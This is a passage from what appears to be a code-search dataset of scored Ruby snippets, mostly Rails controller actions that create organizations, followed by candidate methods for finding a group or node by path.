else\n format.html { render :new }\n format.json { render json: @partnering_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "33a3b0fe11ddc4e127b81c261e4973bc", "score": "0.5868211", "text": "def create\n @organization = Organization.new(params[:organization])\n\n respond_to do |format|\n if @organization.save\n OrganizationQuarter.create :organization_id => @organization.id, :quarter_id => @quarter.id, :unit_id => @unit.id\n flash[:notice] = 'Organization was successfully created.'\n format.html { redirect_to(service_learning_organization_path(@unit, @quarter, @organization)) }\n format.xml { render :xml => @organization, :status => :created, :location => @organization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "84ad1c4b2dc673ecc3f7fbe018ecd26d", "score": "0.58674747", "text": "def create\n @organization_member = OrganizationMember.new(params[:organization_member])\n\n respond_to do |format|\n if @organization_member.save\n format.html { redirect_to(@organization_member, :notice => 'Organization member was successfully created.') }\n format.xml { render :xml => @organization_member, :status => :created, :location => @organization_member }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organization_member.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9513857d4a2dac577dee68c472fe07aa", "score": "0.5862365", "text": "def create\n @organization = Organization.new(organization_params)\n respond_to do |format|\n if @organization.save\n current_user.add_role :editor, @organization\n format.html { redirect_to organizations_path, notice: 'Thank you for your submission. It will be published once it is reviewed by the staff.' }\n format.json { render action: 'show', status: :created, location: @organization }\n else\n format.html { render action: 'new' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ca081398c35acbbd722b355b3fddf1fa", "score": "0.5837028", "text": "def create\n current_user.organization_users.build(organization_user_params)\n @organization = Organization.find(organization_user_params[:organization_id])\n respond_to do |format|\n if current_user.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { redirect_to @organization, error: 'Organization creation failed.' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "8135d7fcaaf125ce698ee93b5958c5a2", "score": "0.5828667", "text": "def create\n @organization = Organization.new(params[:organization])\n if @organization.save\n flash[:notice] = VALIDATION_MESSAGE[\"ORGANIZATION\"][\"CREATE\"]\n redirect_to admin_organization_path(@organization.id)\n else\n flash[:error] = @organization.errors.full_messages.join(\", \")\n render('new')\n end\n end", "title": "" }, { "docid": "13c50b20a43a5c3fdda6209363e56c58", "score": "0.58149695", "text": "def create\n @organization = Organization.new(organization_params)\n respond_to do |format|\n if @organization.save && @organization.associate_user(current_user, ['admin'])\n User.add_user_to_group(@organization, ['admin'], params[:admin1_email], params[:admin1_first_name], params[:admin1_last_name], params[:admin1_phone] ) if (params[:admin1_email].present?)\n User.add_user_to_group(@organization, ['admin'], params[:admin2_email], params[:admin2_first_name], params[:admin2_last_name], params[:admin2_phone] ) if (params[:admin2_email].present?)\n \n format.html { redirect_to organization_path(@organization), notice: 'Organization was successfully created.' }\n format.json { render action: 'show', status: :created, location: @organization }\n else\n format.html { render action: 'new' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ef8df8f29ce0341e37721bf50f8e15ba", "score": "0.579642", "text": "def create_member\n # Member.create!..\n\n respond_to do |format|\n format.html { redirect_to organization_path(params[:orgaid])}\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "3af23b8d99fed47ed6fb4920fd786656", "score": "0.57883537", "text": "def create\n @organization = Organization.new(name: params[:name], owner: params[:username]) #owner: params[:username]\n if @organization.save\n #binding.pry\n @owner = @organization.employees.new(username: params[:username], \n password: params[:password], \n organization_id: @organization.id,\n email: params[:email],\n admin: true)\n if @owner.save\n render \"create.json.jbuilder\", status: :created\n else\n render json: { errors: @owner.errors.full_messages }, status: :unprocessable_entity\n end\n\n else\n render json: { errors: @organization.errors.full_messages }, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "477509437a5700a8c0819a6fb1a8bae8", "score": "0.57874846", "text": "def create\n @group_organization = GroupOrganization.new(group_organization_params)\n\n respond_to do |format|\n if @group_organization.save\n format.html { redirect_to @group_organization, notice: 'Group organization was successfully created.' }\n format.json { render :show, status: :created, location: @group_organization }\n else\n format.html { render :new }\n format.json { render json: @group_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "26132f299228cc9bc730987c4c44e6bb", "score": "0.57727134", "text": "def create\n if params[\"organization\"][\"org_type\"] == \"Other\"\n params[\"organization\"][\"org_type\"] = params[\"org_type_text\"]\n end\n @organization = Organization.new(organization_params)\n\n if params[\"organization\"][\"org_type\"] == \"Shelter\" && params[:availability_status] == \"Available\"\n @organization.availability = true\n else\n @organization.availability = false\n end \n\n respond_to do |format|\n if @organization.save\n session[:organization_id] = @organization.id\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render :show, status: :created, location: @organization }\n else\n format.html { redirect_to new_organization_path, flash: {errors: @organization.errors} }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "65b9206bfe2f348e07ec7507e2cd94da", "score": "0.5741658", "text": "def create\n @organization = Organization.new(params[:organization])\n \n \n respond_to do |format|\n if @organization.save\n User.updateOrg(current_user.id,@organization.id)\n \n @album = Album.new\n @album.name = @organization.name\n @album.save\n @organization.album_id = @album.id\n Organization.updateAlbum(@organization.id,@album.id)\n \n current_user.has_role!('owner', @organization)\n flash[:notice] = 'Organization was successfully created.'\n format.html { redirect_to(@organization) }\n format.xml { render :xml => @organization, :status => :created, :location => @organization }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @organization.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b4492824a9e6106cb7d32a5515a76abc", "score": "0.5740776", "text": "def organization_invite\n params['host'] = Ind.http_api\n params['api_key'] = Accounts.new.find_by_email(params['email']).api_key\n\n org_res = Organizations.new.list(params).orgs\n\n org_res[0][:related_orgs] << params['org_id']\n org_res[0][:api_key] = params['api_key']\n org_res[0][:email] = params['email']\n org_res[0][:host] = Ind.http_api\n\n res = Organizations.new.update(org_res[0])\n redirect_to root_url\n end", "title": "" }, { "docid": "ece410bb4bd06464a65adf789b1bb4b2", "score": "0.5735813", "text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end", "title": "" }, { "docid": "ece410bb4bd06464a65adf789b1bb4b2", "score": "0.5735813", "text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end", "title": "" }, { "docid": "ece410bb4bd06464a65adf789b1bb4b2", "score": "0.5735687", "text": "def new\n @organization = Organization.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end", "title": "" }, { "docid": "ec5385478ac13e4909b2635b52da72e6", "score": "0.5729793", "text": "def create\n @orgn = Orgn.new(orgn_params)\n\n respond_to do |format|\n if @orgn.save\n format.html { redirect_to @orgn, notice: 'Orgn was successfully created.' }\n format.json { render :show, status: :created, location: @orgn }\n else\n format.html { render :new }\n format.json { render json: @orgn.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "930355690fa6688119f6856c724df173", "score": "0.5693482", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @organization }\n end\n end", "title": "" }, { "docid": "ca009efd32038e7f3bb4474d48f5bdf1", "score": "0.5683281", "text": "def create\n @organization = Organization.create_with_owner(organization_params, current_user)\n\n if @organization.save\n @organization.notify_and_update_classes\n redirect_to @organization, notice: 'Organization was successfully created.'\n else\n set_errors_render(@organization, :new)\n end\n end", "title": "" }, { "docid": "710263431d3839158ec44623a18aba43", "score": "0.56759083", "text": "def org_params\n params.require(:organization).permit(:name, :variety, {:user_ids =>[]})\n end", "title": "" }, { "docid": "6eb27e765282c0c7ce96a6f8d889525f", "score": "0.5671706", "text": "def create(organization_name)\n organization = client.organization\n organization.name = organization_name\n organization.create!\n\n organization\n end", "title": "" }, { "docid": "71693d8e51f7f692e591caba044fbc5e", "score": "0.5648876", "text": "def create\n @organization = Organization.new(organization_params)\n if organization_params[:manual_fee_entry] == \"0\" || organization_params[:manual_fee_entry].nil?\n @organization.amount_owe = @organization.tournament.price*@organization.clubs.size\n end\n respond_to do |format|\n if @organization.save\n EventMailer.tournament_registration(@organization).deliver\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render action: 'show', status: :created, location: @organization }\n else\n @tournaments = Tournament.active_tournaments\n @organization.clubs.build if @organization.clubs.empty?\n format.html { render action: 'new' }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "1305a62599a1b990441a86820eaf494c", "score": "0.56382483", "text": "def create_organisation_items\n create_organisation\n end", "title": "" }, { "docid": "9399860cf54a99b8b4b9508ed9c8350b", "score": "0.5624843", "text": "def create\n @host_org = HostOrg.new(host_org_params)\n\n respond_to do |format|\n if @host_org.save\n format.html { redirect_to @host_org, notice: 'Host org was successfully created.' }\n format.json { render :show, status: :created, location: @host_org }\n else\n format.html { render :new }\n format.json { render json: @host_org.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "908ac3230e403a29fd28f7d18465750a", "score": "0.5615689", "text": "def create\n @organization = Organization.new(organization_params)\n if @organization.save\n flash[:notice] = 'Organization created!'\n # tells certain role (in common_actions) that an org (currently vendor)\n # is created\n CommonActions.notification_process('Organization', @organization)\n end\n respond_with(@organization)\n end", "title": "" }, { "docid": "7bde999c1c85ce6473f3ea185118655b", "score": "0.5614961", "text": "def create\n standard_create(OrganizationType, organization_type_params)\n end", "title": "" }, { "docid": "11f6454011d20bd19c4a08d95b35b32f", "score": "0.56038046", "text": "def create\n @organization = Organization.new(params[:organization])\n @organization.create_fb_events\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b7b57c474aea37f7a5e260c5dae8e977", "score": "0.5603033", "text": "def create\n @organ = Organ.new(params[:organ])\n\n respond_to do |format|\n if @organ.save\n format.html { redirect_to @organ, notice: 'Organ was successfully created.' }\n format.json { render json: @organ, status: :created, location: @organ }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organ.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "50a6526039c558871f07a6448e12063b", "score": "0.559964", "text": "def create\n @clients_organization = ClientsOrganization.new(clients_organization_params)\n\n respond_to do |format|\n if @clients_organization.save\n format.json { render :show, status: :created, location: @clients_organization }\n else\n format.json { render json: @clients_organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "4374db547bcbc128eab7d860e11d310a", "score": "0.55960417", "text": "def organisation_params\n params[:organisation].permit(:name, :contact_information, org_user_ids: [])\n end", "title": "" }, { "docid": "5966455fe968d755d44f9ccf3eb46321", "score": "0.5574327", "text": "def organization_params\n params.require(:organization).permit(:name, :abbreviation, :term_id)\n end", "title": "" }, { "docid": "174a23e5cddb98f350687e3f1e099463", "score": "0.55579877", "text": "def create_org(orgname)\n payload = {\n \"name\" => orgname,\n \"full_name\" => orgname,\n \"org_type\" => \"Business\"\n }\n puts \"Creating org #{orgname}\"\n\n MAX_ATTEMPTS.times do |attempt|\n r = post(\"#{@server}/organizations\", superuser, :payload => payload)\n\n case r.code\n when 201, 200\n parsed = parse(r)\n validator_name = parsed[\"clientname\"]\n validator_key = parsed[\"private_key\"]\n\n validator = Pedant::Client.new(validator_name, validator_key)\n return Pedant::Organization.new(orgname, validator)\n when 503\n # Continue attempting by allowing the loop to continue\n puts \"Failed attempting to contact #{@server} (#{attempt}/#{MAX_ATTEMPTS})\"\n else\n raise \"Bad error code #{r.code} from create org: #{r}\"\n end\n\n end\n raise \"Failed attempting to contact #{@server} #{MAX_ATTEMPTS} times\"\n end", "title": "" }, { "docid": "9cf96f38dc025371acec30fef5762fc2", "score": "0.5557394", "text": "def create(name=\"Default Name\", age=\"50\")\r\n xml_req =\r\n \"<?xml version='1.0' encoding='UTF-8'?>\r\n <person>\r\n <name>#{name}</name>\r\n <age>#{age}</age>\r\n </person>\"\r\n \r\n request = Net::HTTP::Post.new(@url)\r\n request.add_field \"Content-Type\", \"application/xml\"\r\n request.body = xml_req\r\n \r\n http = Net::HTTP.new(@uri.host, @uri.port)\r\n response = http.request(request)\r\n response.body \r\n end", "title": "" }, { "docid": "62862115ef412de3bda492347ad583e3", "score": "0.55487525", "text": "def create\n @org_unit = OrgUnit.new(org_unit_params)\n\n respond_to do |format|\n if @org_unit.save\n format.html { redirect_to @org_unit, notice: 'Org unit was successfully created.' }\n format.json { render :show, status: :created, location: @org_unit }\n else\n format.html { render :new }\n format.json { render json: @org_unit.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e942ee2d10ed8f42f1373679eb0ad194", "score": "0.5545944", "text": "def create\n @organizer = Organizer.new(organizer_params)\n\n respond_to do |format|\n if @organizer.save\n format.html { redirect_to @organizer, notice: 'Organizer was successfully created.' }\n format.json { render :show, status: :created, location: @organizer }\n else\n format.html { render :new }\n format.json { render json: @organizer.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a60e11cd681b9101f46475ab232754f3", "score": "0.554524", "text": "def organizations\r\n OrganizationsController.instance\r\n end", "title": "" }, { "docid": "a4192be93be0a9f71d1e8b3caebccf57", "score": "0.55394125", "text": "def create\n authorize! :create, Organization\n @organization = Organization.new(organization_params)\n respond_to do |format|\n if @organization.save\n format.js\n format.json { render :show, status: :created, location: @organization }\n else\n format.js { render :new }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "52fda32511987eede4febc62759ce898", "score": "0.5529866", "text": "def new\n @organization = Organization.new\n respond_with @organization\n end", "title": "" }, { "docid": "b8a9e669600ab9f8f990b6b605c2e6c6", "score": "0.55266505", "text": "def people_organization_params\n params.require(:people_organization).permit(:PersonalID, :OrganizationName)\n end", "title": "" }, { "docid": "6f3d9567caf68863eab47781229438bb", "score": "0.5521723", "text": "def organization_params\n params.require(:organization).permit(:org_name, :org_type, :org_type_text, :availability_status, :contact_name, :contact_number, :street_address, :city, :state, :zip_code, :email, :password, :password_confirmation, :image, :description)\n end", "title": "" }, { "docid": "2f004462a1d3976788041cfd0b8f66ab", "score": "0.55097675", "text": "def create\n @organization_profile = OrganizationProfile.new(params[:organization_profile])\n\n respond_to do |format|\n if @organization_profile.save\n format.html { redirect_to @organization_profile, notice: 'Organization profile was successfully created.' }\n format.json { render json: @organization_profile, status: :created, location: @organization_profile }\n else\n format.html { render action: \"new\" }\n format.json { render json: @organization_profile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "11c01c7551538809ab4307454400ab5a", "score": "0.5501993", "text": "def create_organisation(user)\n\n user.organisations.create\n\n logger.info \"Successfully created organisation ID: #{user.organisations.first.id}\"\n\n end", "title": "" }, { "docid": "f8309e2da4d951593fd51bc7dfcbbd91", "score": "0.5501177", "text": "def create\n authorize @organization\n if @organization.update_attributes(tag_list: @tags)\n render :json => @organization.reload.tags, :status => :created\n else\n error!(:invalid_resource, @organization.errors, \"Tags have not been saved\")\n end\n end", "title": "" }, { "docid": "598b9b005b132954d2ed29d81da8b196", "score": "0.5496193", "text": "def create\n @organization = Organization.new(params[:organization])\n @same_fb_id = Organization.find_by_fb_id(@organization.fb_id)\n if @same_fb_id == nil\n @organization.save\n end\n respond_with @organization\n end", "title": "" }, { "docid": "2deec688fad3898e7f70ae3ccca508d2", "score": "0.5487436", "text": "def new\n @organization = Organization.new\n respond_with(@organization)\n end", "title": "" }, { "docid": "9857a9434b665b8e6d77b5ffa8fd3da4", "score": "0.5484924", "text": "def organization_params\n params.permit(:name, :owner, :email)\n end", "title": "" }, { "docid": "a31d32d9a258e2d5bdbca497dd373068", "score": "0.54797596", "text": "def create\n neo = Neography::Rest.new\n city = neo.create_node(params[:city])\n redirect_to cities_path\n end", "title": "" }, { "docid": "c57df070552cec4f1fd277b12f568ecd", "score": "0.5479438", "text": "def create\n @person = Person.new(params[:person])\n current_organization.people << @person\n if @person.save\n redirect_to people_path, notice: @person.name.to_s + ' was successfully created.'\n else\n render action: \"new\"\n end\n end", "title": "" }, { "docid": "f71940082d4dd7ac98906fe563129797", "score": "0.54735154", "text": "def organization_params\n params.require(:organization).permit(:name, :website, :phonenumber, :description, :specialization_id, :state_id, :postal_abbr)\n end", "title": "" }, { "docid": "03157e15ebf8715ebb56a2f1031c2505", "score": "0.54619247", "text": "def organization_params\n params.permit(:id, :organization_id, :name)\n end", "title": "" }, { "docid": "bf676bf3f186c6844eeb2b3f2e8af6ed", "score": "0.5459352", "text": "def organization_params\n params.require(:organization).permit(:name, :is_partner, :description, :activr, :department, :contact_id)\n end", "title": "" }, { "docid": "54a138c288b57857cebec946b70b9582", "score": "0.5455541", "text": "def organization_params\n params.require(:organization).permit(:name, :website, :location, :description, :approved, :cause)\n end", "title": "" }, { "docid": "49b2ff559c09bfe394e1ea3daf22e2f8", "score": "0.54535514", "text": "def organization_params\n params.require(:organization).permit(:name, :description, :owner_id, :members)\n end", "title": "" }, { "docid": "355764e073a622fffa243290743d2b33", "score": "0.5450442", "text": "def organization_params\n params.require(:organization).permit(:name)\n end", "title": "" }, { "docid": "355764e073a622fffa243290743d2b33", "score": "0.5450442", "text": "def organization_params\n params.require(:organization).permit(:name)\n end", "title": "" }, { "docid": "2d87e79a2ac211dd4abc7776ace71979", "score": "0.544879", "text": "def create\n @orging = Orging.new(orging_params)\n\n respond_to do |format|\n if @orging.save\n format.html { redirect_to @orging, notice: 'Orging was successfully created.' }\n format.json { render :show, status: :created, location: @orging }\n else\n format.html { render :new }\n format.json { render json: @orging.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "860062941ff20257ce478294164149fb", "score": "0.5448473", "text": "def create\n @organization = Organization.new(permitted_params)\n\n authorize! :create, @organization\n\n respond_to do |format|\n if @organization.save\n format.html { redirect_to @organization, notice: 'Organization was successfully created.' }\n format.json { render json: @organization, status: :created, location: @organization }\n else\n format.html {\n existing_organization = Organization.with_url(@organization.url)\n if existing_organization.nil?\n @title = new_action_title; render action: \"new\"\n else\n redirect_to existing_organization, :notice => \"Organization has already been submitted.\"\n end\n }\n format.json { render json: @organization.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b5bd566332aabc1a189aaf6383752d0a", "score": "0.5447688", "text": "def index\n @organizations = Organization.find(:all, :order => 'name ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @organizations }\n end\n end", "title": "" }, { "docid": "cdaba63ed9c4d518378f2426328a64f7", "score": "0.54465896", "text": "def create\n @ngo = current_user.ngos.build(ngo_params)\n \n respond_to do |format|\n if @ngo.save\n @ngo.reindex\n format.html { redirect_to @ngo, notice: 'The organization was successfully created.' }\n format.json { render :show, status: :created, location: @ngo }\n else\n format.html { render :new }\n format.json { render json: @ngo.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
05122fb8e42f540b02af50ff28ff8092
Traverses the children groups and finds the group with the given path, if exists.
[ { "docid": "ada0d295ee0d0a32fe6e59e257c81036", "score": "0.0", "text": "def [](path)\n find_subpath(path, false)\n end", "title": "" } ]
[ { "docid": "558c4bd954642c94e34375a9b8febc14", "score": "0.70641905", "text": "def find_test_group_containing(path)\n @test_groups.each do |group|\n rel = path.relative_path_from(group.real_path)\n next if rel.to_s.start_with?('..')\n\n return group\n end\n\n raise \"Could not find an existing test group that's a parent of #{entry.path}\"\n end", "title": "" }, { "docid": "8a51879ceff224a662a349e653788b33", "score": "0.61495", "text": "def file_group_by_hierarchy_path(path)\n self.mirrors.map{|s| s.groups.files.where(hierarchy_path: path) }.flatten.compact.first\n end", "title": "" }, { "docid": "7cd2b55af6ee177e404469c44eae2f97", "score": "0.60843045", "text": "def find_group(id)\n id = id.to_s\n groups.select{|gr| gr.id == id}.first\n end", "title": "" }, { "docid": "24b3e62f836997222ca8c42d7b4c13ae", "score": "0.599493", "text": "def find_or_create_child(path)\n path = self.class.name_to_hierarchy(path) if path.kind_of?(String)\n raise \"bad account path\" unless path.kind_of?(Array)\n result = self\n while path.length > 0\n result = result.children[path.shift]\n end\n return result\n end", "title": "" }, { "docid": "df726a101cdce40b2851aba4db647bc2", "score": "0.5917612", "text": "def create_or_find_group(name, parent)\n conds = [\"name = ? AND path = ?::ltree || ?\", name, parent.path, parent.id.to_s]\n AssetGroup.where(conds).first || AssetGroup.create(:name => name, :parent => parent)\n end", "title": "" }, { "docid": "f4613a5d2f0c354a5b0cee54486a5c25", "score": "0.5899772", "text": "def group_for_id(id)\n find_groups if @groups.nil?\n @groups.detect { |g| g.include? id }\n end", "title": "" }, { "docid": "9291574dced4dfba7f350ebdd266a335", "score": "0.5884282", "text": "def find_path(path)\n @data.each_pair do |name, dir|\n if dir[:directory] == path\n return Directory::new(name, dir)\n end\n end\n \n return nil\n end", "title": "" }, { "docid": "72ef7b4f2075f568d6a559d9e47ff388", "score": "0.5874065", "text": "def find_group(name)\n login unless authenticated?\n group = JSON.parse RestClient.get(resource_url(\"groups/#{URI.escape(name)}\"), :cookies => @cookies).body\n return group['name'] == name ? group : nil\n rescue RestClient::ResourceNotFound\n return nil\n end", "title": "" }, { "docid": "7f1c54f38376b575f6dc31493724fe4b", "score": "0.57182246", "text": "def group_for_node(node)\n if node.parent\n @project.main_group.find_subpath(node.parent.path, true)\n else\n @project.main_group\n end\n end", "title": "" }, { "docid": "37c30bfa1ead870afcc097ba07de888f", "score": "0.5623696", "text": "def find_gid(groupname)\n gid = nil\n Etc.group do |entry|\n if entry.name == groupname\n gid = entry.gid\n break\n end\n end\n gid\n end", "title": "" }, { "docid": "b91a0c0047cba3f38bee4290422413d5", "score": "0.5552565", "text": "def find_task_group(name)\n @task_groups[name].tap do |block|\n raise Exceptions::TaskGroupNotFound.new(name) unless block\n end\n end", "title": "" }, { "docid": "408229a1391b1f9fe5c10889a1da2b9e", "score": "0.54896957", "text": "def get_child(path)\n children.find { |child| child.name == path } || OneDrive404.new\n end", "title": "" }, { "docid": "a9c563692236d877624ccf6c79ffa1b0", "score": "0.54728556", "text": "def get_group_by_name(name)\n @groups.each do |group|\n if group[0][\"name\"].downcase == name.downcase\n return group\n end\n end\n end", "title": "" }, { "docid": "8925c79673aef151db783080bd90b8fe", "score": "0.5464092", "text": "def find_by_path(resource_path)\n idents = resource_path.split(/#/).delete_if {|x| x.blank? }\n return unless ident.eql?(idents.shift)\n return self if idents.empty?\n child = children.select{|r| r.ident == idents.first}.first\n child and child.find_by_path(idents * '#')\n end", "title": "" }, { "docid": "b2d1c0a9b50a9f4d7e1eda51058dc046", "score": "0.5454322", "text": "def directory_group\n res = nil\n Group.role_names_for(user).each do |role_name|\n if Filesystem.test_dir role_name, self, :read\n res = File.stat(path_for(role_name: role_name)).gid\n break if res\n end\n end\n res\n end", "title": "" }, { "docid": "0ed0640f936a52165e7903859449dfc5", "score": "0.542849", "text": "def find(key)\n return self if @name == key\n @children.each do |child|\n next unless child.respond_to?(:find)\n match = child.find(key)\n return match unless match.nil?\n end\n nil\n end", "title": "" }, { "docid": "c84f372196b5428c8322fa7ea28c3887", "score": "0.5409426", "text": "def get_group_by_id(id)\n $r.hgetall(\"group:#{id}\")\n end", "title": "" }, { "docid": "42e715c8d44a2250c41754d4004e402f", "score": "0.5381802", "text": "def find_object(path)\n path_array = path.split(/\\//)\n n = CGI::unescape(path_array.shift)\n #puts \"looking for #{n} #{path} #{path_array.inspect}\"\n \n children.each do |c|\n # look for an object with named by n\n if c.name == n\n return c if path_array.empty?\n return c.find_object(path_array.join('/'))\n end\n end\n return nil\n end", "title": "" }, { "docid": "4da97ed202429f194992dd77f62577c4", "score": "0.5372603", "text": "def get_group_by_group_id(group_id)\n id = $r.get(\"group_id.to.id:#{group_id}\")\n return nil if !id\n get_group_by_id(id)\n end", "title": "" }, { "docid": "e845b0e4c2f098de13f56ea9ee7d91c6", "score": "0.53691703", "text": "def get_groups_by_parent parent_group_uuid\n parent_group_uuid = parent_group_uuid.uuid if parent_group_uuid.is_a?(Group)\n \n @resources.find_all{|res|res.parent_uuid == parent_group_uuid && (name.blank? || res.name == name)}\n end", "title": "" }, { "docid": "fe6caa1292ea3914da33a7073111ca66", "score": "0.5355078", "text": "def find(path, opts = {})\n path = path.to_s\n return self if path.empty?\n\n # remove duplicate slashes\n path = path.gsub(%r{/+}, \"/\")\n\n case path\n # ./foo/...\n when %r{^\\./?} then\n parent ? parent.find($', opts) : root.find($', opts)\n\n # /foo/...\n when %r{^/} then\n root.find($', opts)\n\n # foo/...\n when %r{^([^/]+)/?} then\n # Use the next path part to find a child by that name.\n # If no child can't be found, try to emit a child, but\n # not if the requested name starts with an underscore.\n if child = find_child($1, opts) || (emit_child($1) unless $1.start_with?(\"_\"))\n # Depending on the tail of the requested find expression,\n # either return the found node, or ask it to find the tail.\n $'.empty? ? child : child.find($', opts)\n end\n end\n end", "title": "" }, { "docid": "a5793b0916b4321d4867b20b80c21036", "score": "0.53547084", "text": "def find_node(root,path)\n name_array = path.split('.')\n node = root[name_array[0]]\n name_array.each do |n|\n node.children.each do |c|\n if c.name == n\n node = c\n break\n end\n end\n end\n node\n end", "title": "" }, { "docid": "eff911dcedbd7042079fcf3b1f12154b", "score": "0.53331506", "text": "def in_group?(group_id)\n groups.any? do |group|\n group.id == group_id\n end\n end", "title": "" }, { "docid": "2b8b5c8458e398c08c721fcd06ba18d2", "score": "0.5322967", "text": "def get_group(group_id)\n group_found = nil\n filter = Net::LDAP::Filter.eq( \"cn\", group_id)\n Net::LDAP.open(@ldap_conf) do |ldap|\n group_found = ldap.search(:base => @group_base, :filter => filter).to_a()[0]\n end\n group_found\n end", "title": "" }, { "docid": "f5f9c0e9e765d052ec73551fb5547de3", "score": "0.5321048", "text": "def find_group(onms_home, name)\n file_name = nil\n Dir.foreach(\"#{onms_home}/etc/datacollection\") do |group|\n next if group !~ /.*\\.xml$/\n file = ::File.new(\"#{onms_home}/etc/datacollection/#{group}\", 'r')\n doc = REXML::Document.new file\n file.close\n exists = !doc.elements[\"/datacollection-group[@name='#{name}']\"].nil?\n if exists\n file_name = \"#{onms_home}/etc/datacollection/#{group}\"\n break\n end\n end\n file_name\n end", "title": "" }, { "docid": "d183aa302e74ad1784fde9faeb09c196", "score": "0.52853334", "text": "def find(path, dir: nil)\n parts = path_parts(normalize_path(path, dir: dir))\n return fs if parts.empty? # '/'\n\n find_recurser(fs, parts)\n end", "title": "" }, { "docid": "3bb7371639e5d706fdedacab2ef845b6", "score": "0.5267184", "text": "def group_from_string(group_path = :root)\n # Get the context group\n if group_path == '' or group_path == :root then\n group = @db.root\n elsif group_path == :inbox then\n group = @db.incomingGroup\n elsif group_path == :tags then\n group = @db.tagsGroup\n else\n group = @devonthink.getRecordAt_in_(group_path, @db)\n end\n raise \"No group with path: #{group_path}\" unless group\n\n return group\n end", "title": "" }, { "docid": "c6093b7134a09413acd51dd9525305d5", "score": "0.52350664", "text": "def group(name)\n groups.detect { |group| group.name == name } ||\n raise(\"No such Fever group: #{name.inspect}\")\n end", "title": "" }, { "docid": "34223bdf5640b2fd6eb9bae80bcefe9d", "score": "0.5192319", "text": "def find_by_path(path, flags={})\n if parseit = path.match(/^.*?(([^\\/]+)\\/)?([^\\/]+?)(\\.git)?$/)\n if proj = Project.find_by_identifier(parseit[3]) || !GitHosting.multi_repos?\n # return default or first repo with blank identifier (or first Git repo--very rare?)\n proj && (proj.repository || proj.repo_blank_ident || proj.gitolite_repos.first)\n elsif repo_ident_unique? || flags[:loose] && parseit[2].nil?\n find_by_identifier(parseit[3])\n elsif parseit[2] && proj = Project.find_by_identifier(parseit[2])\n find_by_identifier_and_project_id(parseit[3],proj.id) ||\n flags[:loose] && find_by_identifier(parseit[3]) || nil\n else\n nil\n end\n else\n nil\n end\n end", "title": "" }, { "docid": "387818505c87b9e63b05c806e1e248c8", "score": "0.5173345", "text": "def get_node_group_by_name(node_group_name, http)\n # Get all node groups from the REST API\n all_node_groups_json = get_rest_api('groups', http)\n all_node_groups_hash = JSON.parse(all_node_groups_json)\n\n # Search the list of node groups for the specified group.\n group = {}\n all_node_groups_hash.each do |g|\n if node_group_name.eql? g['name']\n group = g # found group hash in json response\n next\n end\n end\n\n # If we didn't find the group, something went horribly wrong.\n # Print out a message and exit.\n if group.empty?\n puts \"Node group #{group_name} doesn't exist.\"\n exit 1\n end\n\n # Return the group if we found it.\n group\nend", "title": "" }, { "docid": "3669a5730ca7d539014f3b50ffb64114", "score": "0.5111506", "text": "def get_group_by_name(groupname)\n return @grouphash[groupname]\n end", "title": "" }, { "docid": "34b9ac4007c8a9164369b5d767f72ba5", "score": "0.5108947", "text": "def node(path)\n current_nodes = root_nodes\n matching_node = nil\n path.each_with_index do |target_node, index|\n case current_nodes\n when Array\n matching_node = current_nodes.find {|node| node.name == target_node} #TODO: make this work with regexes as well as strings...\n raise Bewildr::ElementDoesntExist if matching_node.nil?\n when Bewildr::Element\n if current_nodes.name == target_node #TODO: make this work with regexes as well as strings...\n matching_node = current_nodes\n else\n raise Bewildr::ElementDoesntExist\n end\n end\n raise Bewildr::ElementDoesntExist if matching_node.nil?\n if path.size != index + 1\n matching_node.expand\n load_all_items_hack\n current_nodes = matching_node.child_nodes\n end\n end\n return matching_node\n end", 